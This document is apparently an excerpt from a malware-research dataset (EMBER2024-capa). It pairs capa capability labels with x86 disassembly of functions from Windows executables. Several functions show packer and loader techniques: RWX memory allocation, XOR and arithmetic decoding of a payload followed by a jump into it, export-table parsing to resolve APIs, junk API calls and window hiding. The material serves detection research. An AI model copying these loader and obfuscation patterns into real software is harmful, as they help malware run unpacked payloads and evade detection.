joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x405660
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x40566f
pop dword [ebp - 0x48]
mov eax, 0x5101df02
sub eax, 0x50c18893
sub dword [ebp - 0x48], eax
push 0x40
push 0x1000
push 0x3725e
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x48]
call dword [eax]
mov ecx, 0x3fbf
xor edi, edi
add edi, eax
mov esi, 0xfab5c553
sub esi, 0xfa74898f
add esi, dword [ebp - 0x48]
mov ebx, 0x9b23b7fb
sub ebx, 0x43a006c6
mov dword [ebp - 0x40], 0x185cfdf6
mov edx, dword [esi]
sub dword [ebp - 0x40], 0xf0b74c7e
add edx, ebx
mov dword [ebp - 0x2c], 0x45c5e876
mov dword [edi], edx
xor dword [ebp - 0x40], 0x2a4821d
add edi, 4
add esi, 0x94e3ef4b
sub esi, 0x94e3ef47
loop 0x4056c5
add eax, 0xea57b3e6
sub eax, 0xea56c217
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x62a1fcbb
sub ecx, 0x6261fcbb
add ecx, dword [ebp - 0x48]
call ebx
leave
ret

Function at 0x409607
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00404f19
and dword [ebp - 4], 0
cmp dword [0x412990], 0
mov ebx, eax
jne 0x4096b8
push str.USER32.DLL
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x409769
mov esi, dword [sym.imp.kernel32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x409769
push eax
call fcn.00405660
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x412990], eax
call esi
push eax
call fcn.00405660
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x412994], eax
call esi
push eax
call fcn.00405660
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x412998], eax
call esi
push eax
call fcn.00405660
pop ecx
mov dword [0x4129a0], eax
test eax, eax
je 0x4096b8
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00405660
pop ecx
mov dword [0x41299c], eax
mov eax, dword [0x41299c]
cmp eax, ebx
je 0x409710
cmp dword [0x4129a0], ebx
je 0x409710
push eax
call fcn.00405660
push dword [0x4129a0]
mov esi, eax
call fcn.00405660
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x409710
test edi, edi
je 0x409710
call esi
test eax, eax
je 0x409707
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x409707
test byte [ebp - 0xc], 1
jne 0x409710
or dword [ebp + 0x10], 0x200000
jmp 0x409749
mov eax, dword [0x412994]
cmp eax, ebx
je 0x409749
push eax
call fcn.00405660
pop ecx
test eax, eax
je 0x409749
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x409749
mov eax, dword [0x412998]
cmp eax, ebx
je 0x409749
push eax
call fcn.00405660
pop ecx
test eax, eax
je 0x409749
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x412990]
call fcn.00405660
pop ecx
test eax, eax
je 0x409769
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40976b
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403d39
Capabilities:
Encode data using xor

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 0xc], esi
jbe 0x403e85
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegDisablePredefinedCacheEx]
push edi
mov edi, dword [esp + 0x10]
call ebx
sub byte [esi + edi], 0x32
call ebx
add byte [esi + edi], 0xbd
call ebx
xor byte [esi + edi], 0xd8
call ebx
add byte [esi + edi], 0x57
call ebx
add byte [esi + edi], 0xeb
call ebx
add byte [esi + edi], 0x16
call ebx
add byte [esi + edi], 0x5f
call ebx
xor byte [esi + edi], 0x53
call ebx
add byte [esi + edi], 0x99
call ebx
add byte [esi + edi], 0x66
call ebx
xor byte [esi + edi], 0xe1
call ebx
add byte [esi + edi], 0x60
call ebx
add byte [esi + edi], 0xb9
call ebx
add byte [esi + edi], 0x57
call ebx
add byte [esi + edi], 0xa9
call ebx
add byte [esi + edi], 0xae
call ebx
xor byte [esi + edi], 0x62
call ebx
add byte [esi + edi], 0xf1
call ebx
add byte [esi + edi], 0x17
call ebx
add byte [esi + edi], 0xcc
call ebx
add byte [esi + edi], 0x90
call ebx
add byte [esi + edi], 0x12
call ebx
add byte [esi + edi], 0x46
call ebx
add byte [esi + edi], 0xc
call ebx
add byte [esi + edi], 0x53
call ebx
xor byte [esi + edi], 0x24
call ebx
add byte [esi + edi], 0xeb
call ebx
add byte [esi + edi], 0x85
call ebx
add byte [esi + edi], 0x63
call ebx
add byte [esi + edi], 0x44
call ebx
add byte [esi + edi], 0xd1
call ebx
xor byte [esi + edi], 0x51
call ebx
xor byte [esi + edi], 0x58
call ebx
xor byte [esi + edi], 0xe9
call ebx
add byte [esi + edi], 0xe4
call ebx
add byte [esi + edi], 0xf8
call ebx
xor byte [esi + edi], 0x42
call ebx
add byte [esi + edi], 0xef
call ebx
add byte [esi + edi], 0xc2
call ebx
xor byte [esi + edi], 0xcd
call ebx
add byte [esi + edi], 0xb7
call ebx
xor byte [esi + edi], 0x51
call ebx
add byte [esi + edi], 0x83
call ebx
xor byte [esi + edi], 0xc2
call ebx
add byte [esi + edi], 0x5c
call ebx
xor byte [esi + edi], 0xf0
call ebx
add byte [esi + edi], 0xa0
call ebx
add byte [esi + edi], 0x82
call ebx
add byte [esi + edi], 0xee
inc esi
cmp esi, dword [esp + 0x14]
jb 0x403d52
pop edi
pop ebx
pop esi
ret

Function at 0x403f0f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x20
mov eax, dword [0x45a8ec]
xor eax, esp
mov dword [esp + 0x1c], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x30]
xor ebp, ebp
push edi
mov eax, dword [esi + 0x3c]
mov ebx, dword [eax + esi + 0x78]
add ebx, esi
mov edi, dword [ebx + 0x20]
mov eax, dword [ebx + 0x18]
add edi, esi
mov dword [esp + 0x10], eax
test eax, eax
je 0x403f78
mov eax, dword [edi]
lea ecx, [esp + 0x14]
add eax, esi
push eax
call fcn.00401b44
lea eax, [esp + 0x14]
push 0x14d
push eax
call fcn.004040e6
pop ecx
pop ecx
cmp eax, dword [esp + 0x38]
je 0x403f90
lea ecx, [esp + 0x14]
add edi, 4
call fcn.00403ab2
inc ebp
cmp ebp, dword [esp + 0x10]
jb 0x403f40
xor edi, edi
mov ecx, dword [esp + 0x2c]
lea eax, [esi + edi]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00405f4c
add esp, 0x20
ret
mov eax, dword [ebx + 0x24]
lea eax, [eax + ebp*2]
movzx ecx, word [eax + esi]
mov eax, dword [ebx + 0x1c]
lea eax, [eax + ecx*4]
mov edi, dword [eax + esi]
lea ecx, [esp + 0x14]
call fcn.00403ab2
jmp 0x403f7a
Function at 0x4031b5
Capabilities:
Delete directory
Get common file path
Get file attributes
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc4c
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, dword [edi]
mov dword [ebp - 0x10], eax
mov eax, dword [edi + 4]
xor esi, esi
cmp dword [0x9ebc30], 0x594
mov dword [ebp - 0xc], eax
jne 0x403201
push 0x402e68
push 0x402e78
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointA]
push 0x402e80
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
mov eax, dword [0x4a6528]
push ebx
mov ebx, dword [0x4a652c]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 8]
mov dword [ebp - 8], esi
mov dword [ebp - 0x30], 0x9e3779b9
call fcn.004031ae
mov eax, dword [0x4a6530]
add dword [ebp - 8], 0x23f
mov dword [ebp - 0x2c], eax
mov eax, dword [str._ey_v_]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 0x20
mov dword [ebp - 0x14], 2
add dword [ebp - 0x14], 3
mov eax, dword [ebp - 0x10]
mov ecx, eax
shl ecx, 4
cmp dword [0x9ebc30], 0xc
mov dword [ebp - 4], ecx
jne 0x4032ab
push esi
lea eax, [ebp - 0xc4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
xor eax, eax
mov word [ebp - 0x1c], ax
lea edi, [ebp - 0x1a]
stosw word es:[edi], ax
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x1c]
lea eax, [ebp - 0x44c]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
lea eax, [ebp - 0x38]
push eax
push esi
lea eax, [ebp - 0x4c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
mov eax, dword [ebp - 0x10]
mov edi, dword [ebp + 8]
mov ecx, dword [ebp - 0x2c]
add dword [ebp - 4], ecx
mov ecx, dword [0x9ebc30]
cmp ecx, 0xfa9
jne 0x4032c9
mov dword [0x9eb1cc], 0xedeb2e40
cmp ecx, 0x3eb
jne 0x4032d7
mov dword [0x9eab80], esi
mov ecx, dword [ebp - 8]
add ecx, eax
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp - 0x14]
shr eax, cl
mov dword [0x9eb1c8], 0xf4ea3dee
add eax, dword [ebp - 0x24]
mov ecx, eax
mov eax, dword [ebp - 0x18]
xor dword [ebp - 4], eax
xor ecx, dword [ebp - 4]
cmp dword [0x9ebc30], 0x213
mov dword [ebp - 0x18], ecx
jne 0x403316
push 0x402e94
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov eax, dword [ebp - 0x18]
add dword [ebp - 0xc], 0x64
sub dword [ebp - 0xc], eax
sub dword [ebp - 0xc], 0x64
mov eax, dword [ebp - 0xc]
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x28]
add dword [ebp - 4], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
lea edx, [ecx + eax]
mov ecx, dword [ebp - 0x14]
shr eax, cl
add eax, ebx
xor eax, edx
xor dword [ebp - 4], eax
mov eax, dword [ebp - 4]
sub dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x30]
sub dword [ebp - 8], eax
dec dword [ebp - 0x20]
jne 0x403240
cmp dword [0x9ebc30], 0xa6d
mov eax, dword [ebp - 0x10]
mov dword [edi], eax
pop ebx
jne 0x403377
push esi
push esi
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov eax, dword [ebp - 0xc]
mov dword [edi + 4], eax
pop edi
pop esi
leave
ret 4
Function at 0x403687
Capabilities:
Read pipe
Write pipe

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x424
push ebx
push esi
xor esi, esi
cmp dword [0x9ebc30], 0x400
push edi
jne 0x4036f9
push esi
call dword [sym.imp.KERNEL32.dll__lclose]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll__hwrite]
push esi
push esi
call fcn.00403c20
push esi
push esi
call fcn.00403c20
push esi
call fcn.00403e75
add esp, 0x14
push esi
push esi
push esi
call fcn.00404926
pop ecx
mov dword [esp + 4], esi
mov dword [esp], esi
call fcn.00403112
fstp st(0)
push esi
call fcn.004049ab
pop ecx
push esi
call fcn.0040473d
pop ecx
push esi
push esi
call fcn.00403b14
pop ecx
pop ecx
mov eax, dword [0x4a7b54]
mov dword [0x9ebc30], eax
mov eax, dword [0x4a7b2c]
mov dword [0x9ebc34], eax
call fcn.00403441
mov dword [esp + 0x10], esi
mov ebx, 0x2b259d
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor eax, eax
mov dword [esp + 0x1c], esi
lea edi, [esp + 0x20]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x18]
push eax
push esi
lea eax, [esp + 0x3c]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
cmp dword [esp + 0x10], ebx
jle 0x403760
cmp dword [esp + 0x18], 0x785074d5
jne 0x40376e
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0x1c1b
jl 0x40371b
xor edi, edi
push esi
lea eax, [esp + 0x34]
push eax
push esi
push 0x402f68
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
push 0x402fb4
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
cmp edi, ebx
jle 0x40379d
cmp dword [esp + 0x18], 0x785074d5
jne 0x4037a6
inc edi
cmp edi, 0x11915
jl 0x403770
mov eax, dword [0x9eab84]
mov dword [0x9eb1c4], eax
call eax
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x404fc1
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4a5798]
jne 0x404fcb
repz ret
jmp fcn.0040bd1c
Function at 0x40f267
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00408fbe
and dword [ebp - 4], 0
cmp dword [0x4a89b4], 0
mov ebx, eax
jne 0x40f318
push 0x402cdc
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40f3c9
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402cd0
push edi
call esi
test eax, eax
je 0x40f3c9
push eax
call fcn.00408f4c
mov dword [esp], 0x402cc0
push edi
mov dword [0x4a89b4], eax
call esi
push eax
call fcn.00408f4c
mov dword [esp], 0x402cac
push edi
mov dword [0x4a89b8], eax
call esi
push eax
call fcn.00408f4c
mov dword [esp], 0x402c90
push edi
mov dword [0x4a89bc], eax
call esi
push eax
call fcn.00408f4c
pop ecx
mov dword [0x4a89c4], eax
test eax, eax
je 0x40f318
push 0x402c78
push edi
call esi
push eax
call fcn.00408f4c
pop ecx
mov dword [0x4a89c0], eax
mov eax, dword [0x4a89c0]
cmp eax, ebx
je 0x40f370
cmp dword [0x4a89c4], ebx
je 0x40f370
push eax
call fcn.00408fc7
push dword [0x4a89c4]
mov esi, eax
call fcn.00408fc7
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40f370
test edi, edi
je 0x40f370
call esi
test eax, eax
je 0x40f367
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40f367
test byte [ebp - 0xc], 1
jne 0x40f370
or dword [ebp + 0x10], 0x200000
jmp 0x40f3a9
mov eax, dword [0x4a89b8]
cmp eax, ebx
je 0x40f3a9
push eax
call fcn.00408fc7
pop ecx
test eax, eax
je 0x40f3a9
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40f3a9
mov eax, dword [0x4a89bc]
cmp eax, ebx
je 0x40f3a9
push eax
call fcn.00408fc7
pop ecx
test eax, eax
je 0x40f3a9
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4a89b4]
call fcn.00408fc7
pop ecx
test eax, eax
je 0x40f3c9
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40f3cb
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4056c0
Capabilities:
Hide graphical window

Disassembly:
push 0
mov eax, dword [0x40895c]
push eax
call sub.user32.dll_ShowWindow
push 0xffffffffffffffec
mov eax, dword [0x40895c]
push eax
call sub.user32.dll_GetWindowLongA
or eax, 0x80
push eax
push 0xffffffffffffffec
mov eax, dword [0x40895c]
push eax
call sub.user32.dll_SetWindowLongA
push 5
mov eax, dword [0x40895c]
push eax
call sub.user32.dll_ShowWindow
ret

Function at 0x402496
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push ecx
push edx
push esi
push edi
enter 0x84, 0
sub ebp, 0x82
mov esi, eax
mov edx, dword [0x404080]
or dl, 1
imul edx, eax
mov eax, dword [0x404080]
sub eax, edx
mov ebx, esi
mov edx, eax
mov eax, 0x404084
call fcn.004023df
xor eax, eax
mov dword [ebp + 0x7e], eax
lea eax, [ebp + 0x7e]
push eax
mov eax, esi
or al, 0x40
mov edi, 0x40365c
push eax
sub edi, fcn.00402e06
push edi
push fcn.00402e06
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
cmp dword [ebp + 0x7e], 0
je 0x402512
mov eax, fcn.00402e06
mov ebx, esi
mov edx, edi
call fcn.004023df
mov edx, 0x1c000
mov eax, 0x404084
mov ebx, esi
call fcn.004019bc
lea edx, [ebp - 2]
mov eax, esi
mov dword [ebp - 2], 1
call fcn.00401250
lea edx, [esi + 0x1c000]
add edx, esi
lea eax, [esi - 1]
lea ebx, [ebp - 2]
and eax, 0x404084
call fcn.00402e06
lea esp, [ebp + 0x82]
pop ebp
pop edi
pop esi
pop edx
pop ecx
pop ebx
ret
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x408b90
Capabilities:
Encode data using xor

Disassembly:
pop esi
push esi
xor dword [esi], ebx
lodsd eax, dword [esi]
add ebx, eax
test eax, eax
jne 0x408b92
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.0040cac0
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.0040cac0
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.0040cac0
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.0040cac0
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.0040cac0
mov dword [0x41203c], eax
call fcn.0040cac0
test eax, eax
jge 0x402550
push 8
call fcn.0040cac0
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.0040cac0
pop ecx
push 1
call fcn.0040cac0
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.0040cac0
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.0040cac0
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.0040cac0
jmp 0x402495

Function at 0x40cac0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x40cacf
pop dword [ebp - 0x4c]
mov eax, 0x15f2ea2f
sub eax, 0x15b21f60
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x36f16
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0x3ed6
xor ebx, ebx
add ebx, eax
mov edi, 0x36dc2e82
add edi, 0xc9650d42
add edi, dword [ebp - 0x4c]
mov edx, 0x61ecf1b
add edx, 0x96f60abe
mov esi, dword [edi]
xor dword [ebp - 0x48], 0x326a74e9
sub esi, edx
sub dword [ebp - 0x34], esi
mov dword [ebx], esi
mov dword [ebp - 4], 0x8fd951ed
add ebx, 4
add edi, 0x8bde8411
add edi, 0x74217bf3
loop 0x40cb25
add eax, 0xee2b
xor ebx, ebx
add ebx, eax
add eax, 0x3b37c8f5
add eax, 0xc4c83710
mov ecx, 0x1380ddca
add ecx, 0xecbf2236
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x40d5e3
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x40d614
call fcn.00403737
mov dword [eax], esi
call fcn.00403724
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.0040cac0
add esp, 0x14
push 0x16
pop eax
jmp 0x40d669
test dword [ebp + 0xc], 0xfffffff9
jne 0x40d5f0
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40d641
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
call fcn.0040cac0
pop ecx
call fcn.00403724
mov eax, dword [eax]
jmp 0x40d669
test al, 0x10
jne 0x40d667
test al, 1
je 0x40d667
test byte [ebp + 0xc], 2
je 0x40d667
call fcn.00403737
mov dword [eax], 5
call fcn.00403724
mov dword [eax], 0xd
jmp 0x40d638
xor eax, eax
pop esi
pop ebp
ret
Function at 0x40216b
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
call main
jmp 0x402175
push 0x14
push 0x411788
call fcn.00405300
call main
movzx esi, ax
push 2
call main
pop ecx
mov eax, 0x5a4d
cmp word [0x400000], ax
je 0x4021a3
xor ebx, ebx
jmp 0x4021d6
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x40219f
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x40219f
xor ebx, ebx
cmp dword [eax + 0x400074], 0xe
jbe 0x4021d6
cmp dword [eax + 0x4000e8], ebx
setne bl
mov dword [ebp - 0x1c], ebx
call fcn.004048ef
test eax, eax
jne 0x4021ea
push 0x1c
call main
pop ecx
call fcn.00403b58
test eax, eax
jne 0x4021fb
push 0x10
call main
pop ecx
call fcn.004051cc
and dword [ebp - 4], 0
call fcn.00404904
test eax, eax
jns 0x402215
push 0x1b
call main
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x4162e8], eax
call main
mov dword [0x414430], eax
call main
test eax, eax
jns 0x40223b
push 8
call main
pop ecx
call fcn.00404de7
test eax, eax
jns 0x40224c
push 9
call main
pop ecx
push 1
call main
pop ecx
test eax, eax
je 0x40225f
push eax
call main
pop ecx
call fcn.00405299
push esi
push eax
push 0
push 0x400000
call main
mov esi, eax
mov dword [ebp - 0x24], esi
test ebx, ebx
jne 0x402281
push esi
call main
call fcn.00404663
jmp 0x4022b6
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
call fcn.00405345
ret

Function at 0x4030d4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x4030e3
pop dword [ebp - 0xc]
mov eax, 0x4030e3
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x85609b62
add dword [ebp - 0x1c], 0xc8f1a9e9
mov dword [ebp - 0x18], 0x5e7747f4
sub dword [ebp - 0x18], 0x2c43fbaf
mov dword [ebp - 0x14], 0xe95b8bed
sub dword [ebp - 0x14], 0x9d0f47bf
mov dword [ebp - 0x10], 0xe5009377
add dword [ebp - 0x10], 0x1aff6c89
lea eax, [ebp - 0x1c]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x7b424b42
sub dword [ebp - 0x1c], 0x6cfe1ec
mov dword [ebp - 0x18], 0x96177de0
add dword [ebp - 0x18], 0xab54e395
mov dword [ebp - 0x14], 0xc0e53647
add dword [ebp - 0x14], 0xa28a3625
mov dword [ebp - 0x10], 0xcef92d1d
sub dword [ebp - 0x10], 0xcef92d1d
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0x4f5a5978
add eax, 0xb0e676b8
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x3c411
push 0
call eax
mov ecx, 0x55d9
mov edi, eax
mov esi, 0x61110d8e
sub esi, 0x60cefd8e
add esi, dword [ebp - 0xc]
mov ebx, 0xcf795882
add ebx, 0xf55c43b3
xor dword [ebp - 4], 0x51a68347
mov edx, dword [esi]
sub dword [ebp - 8], eax
sub edx, ebx
mov dword [edi], edx
sub dword [ebp - 8], esi
add edi, 0x77a107b7
sub edi, 0x77a107b3
add esi, 0x91293532
add esi, 0x6ed6cad2
loop 0x4031f5
add eax, 0x14a37
xor ebx, ebx
add ebx, eax
add eax, 0x352167a
sub eax, 0x3521675
mov ecx, 0x400000
add ecx, dword [ebp - 0xc]
call ebx
leave
ret